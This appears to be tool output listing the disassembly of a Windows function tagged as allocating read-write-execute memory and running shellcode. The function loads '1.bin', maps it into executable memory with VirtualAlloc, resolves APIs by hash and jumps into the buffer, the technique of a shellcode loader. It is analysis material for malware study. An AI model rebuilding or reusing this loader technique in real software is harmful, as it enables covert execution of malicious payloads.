Function at 0x140005090
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x138], 0xfffffffffffffffe
lea rax, str.1.bin
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
mov dword [rsp + 0x20], 1
lea rcx, [rbp - 0x58]
mov r8d, 0x24
mov r9d, 0x40
call fcn.140005410
jmp 0x1400050e1
lea rcx, [rbp - 0x58]
call fcn.1400055e0
test al, 1
jne 0x140005108
nop
mov dword [rbp + 0x130], 1
mov dword [rbp + 0x134], 1
jmp 0x140005391
lea rcx, [rbp - 0x58]
lea rdx, [rbp + 0xe8]
call fcn.140005610
jmp 0x14000511a
lea rcx, [rbp - 0x58]
xor edx, edx
xor r8d, r8d
call fcn.140005730
jmp 0x14000512a
lea rsi, [rbp + 0x12f]
mov rcx, rsi
call fcn.1400058c0
lea rcx, [rbp + 0xe8]
call fcn.1400058d0
lea rcx, [rbp + 0xb8]
mov rdx, rax
mov r8, rsi
call fcn.1400058f0
jmp 0x140005159
jmp 0x14000515b
lea rcx, [rbp + 0xe8]
call fcn.1400058d0
mov rsi, rax
lea rcx, [rbp + 0xb8]
call fcn.140005930
lea rcx, [rbp - 0x58]
mov rdx, rax
mov r8, rsi
call fcn.140005950
jmp 0x140005187
lea rcx, [rbp - 0x58]
call fcn.140005aa0
jmp 0x140005192
lea rcx, [rbp + 0xe8]
call fcn.1400058d0
nop
mov r10, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov rdx, rax
mov r8d, 0x1000
mov r9d, 0x40
call r10
jmp 0x1400051bc
nop
mov qword [rbp + 0x120], rax
cmp qword [rbp + 0x120], 0
jne 0x1400051e8
nop
mov dword [rbp + 0x130], 1
mov dword [rbp + 0x134], 1
jmp 0x140005383
nop
mov rsi, qword [rbp + 0x120]
lea rcx, [rbp + 0xb8]
call fcn.140005930
mov rdi, rax
lea rcx, [rbp + 0xe8]
call fcn.1400058d0
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.140041a50
lea rcx, [0x1400b91d9]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
jmp 0x14000522b
nop
mov qword [rbp + 0x100], rax
mov rcx, qword [rbp + 0x100]
mov edx, 0xb9903ada
call fcn.140005af0
jmp 0x140005246
nop
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
jne 0x140005280
nop
mov dword [rbp + 0x130], 0xffffffff
mov dword [rbp + 0x134], 1
jmp 0x140005383
nop
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov r8, qword [0x1400d6008]
xor ecx, ecx
xor edx, edx
call r8
jmp 0x1400052a6
nop
mov rcx, qword [rbp + 0x100]
mov edx, 0xc1cdffb1
call fcn.140005af0
jmp 0x1400052ba
nop
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x110], rax
mov rsi, qword [rbp + 0x110]
lea rcx, [rbp + 0xe8]
call fcn.1400058d0
mov rcx, qword [rbp + 0x120]
mov r8, qword [0x1400d6008]
mov rdx, rax
mov rax, rsi
call r8
jmp 0x1400052fc
nop
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
mov ecx, 0xffffffff
mov edx, 1
call rax
jmp 0x140005312
nop
mov rsi, qword [rbp + 0x110]
lea rcx, [rbp + 0xe8]
call fcn.1400058d0
mov rcx, qword [rbp + 0x118]
mov r8, qword [0x1400d6008]
mov rdx, rax
mov rax, rsi
call r8
jmp 0x14000533f
nop
mov rax, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x118]
mov r8, qword [0x1400d6008]
xor edx, edx
call r8
jmp 0x14000535c
nop
mov rcx, qword [rbp + 0x120]
nop
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x8000
call rax
jmp 0x140005378
nop
mov dword [rbp + 0x134], 0
jmp 0x140005385
lea rcx, [rbp + 0xb8]
call fcn.140005c00
jmp 0x140005393
lea rcx, [rbp - 0x58]
call fcn.140005c20
mov eax, dword [rbp + 0x130]
add rsp, 0x1c0
pop rdi
pop rsi
pop rbp
ret